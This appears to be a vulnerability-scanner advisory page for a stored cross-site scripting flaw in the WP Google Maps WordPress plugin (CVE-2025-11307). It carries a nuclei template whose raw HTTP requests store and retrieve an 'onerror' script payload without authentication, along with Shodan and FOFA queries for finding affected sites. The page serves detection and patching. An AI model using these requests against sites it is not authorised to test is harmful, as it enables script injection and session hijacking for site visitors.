WP Google Maps < 9.0.48 - Cross-Site Scripting

highseverity

8.8CVSS score

2%likelihood of exploitation, next 30 days

81%of all CVEs are less likely

Readycheck to confirm it

WP Google Maps WordPress plugin < 9.0.48 contains a stored XSS vulnerability caused by unsanitized user input in AJAX actions, letting unauthenticated attackers execute scripts via stored payloads.

Impact

Unauthenticated attackers can execute arbitrary scripts in users' browsers, leading to session hijacking or defacement.

Fix

Update to version 9.0.48 or later.

How to confirm it

Send: POST /wp-admin/admin-ajax.php
Positive when: status_code == 200 and contains(body, "{\"success\":1}")
Send: GET /wp-admin/admin-ajax.php?action=wpgmza_query_nominatim_cache&query={{cache_key}}
Positive when: contains_all(body, "<img src=x onerror=alert(document.domain)>", "display_name") and contains(content_type, "application/json") and status_code == 200

Run it with nuclei: nuclei -id CVE-2025-11307 -u <target>

The full check

id: CVE-2025-11307

info:
  name: WP Google Maps < 9.0.48 - Cross-Site Scripting
  author: 0x_Akoko
  severity: high
  description: |
    WP Google Maps WordPress plugin < 9.0.48 contains a stored XSS vulnerability caused by unsanitized user input in AJAX actions, letting unauthenticated attackers execute scripts via stored payloads.
  impact: |
    Unauthenticated attackers can execute arbitrary scripts in users' browsers, leading to session hijacking or defacement.
  remediation: |
    Update to version 9.0.48 or later.
  reference:
    - https://wpscan.com/vulnerability/f5b21a05-7a51-4530-9e07-4700f00eeca3/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-11307
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2025-11307
    epss-score: 0.01978
    epss-percentile: 0.8069
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    vendor: wpgmaps
    product: wp-google-maps
    shodan-query: http.html:"wp-google-maps"
    fofa-query: body="wp-google-maps"
  tags: cve,cve2025,wp,wordpress,wp-plugin,xss,cache-poisoning,vkev,vuln

flow: http(1) && http(2)

variables:
  cache_key: "{{randstr}}"

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wpgmza_store_nominatim_cache&query={{cache_key}}&response=[{"display_name":"<img src=x onerror=alert(document.domain)>","lat":"37.5665","lon":"126.9780","boundingbox":["37.4","37.7","126.7","127.1"]}]

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "{\"success\":1}")'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin-ajax.php?action=wpgmza_query_nominatim_cache&query={{cache_key}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "<img src=x onerror=alert(document.domain)>", "display_name")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from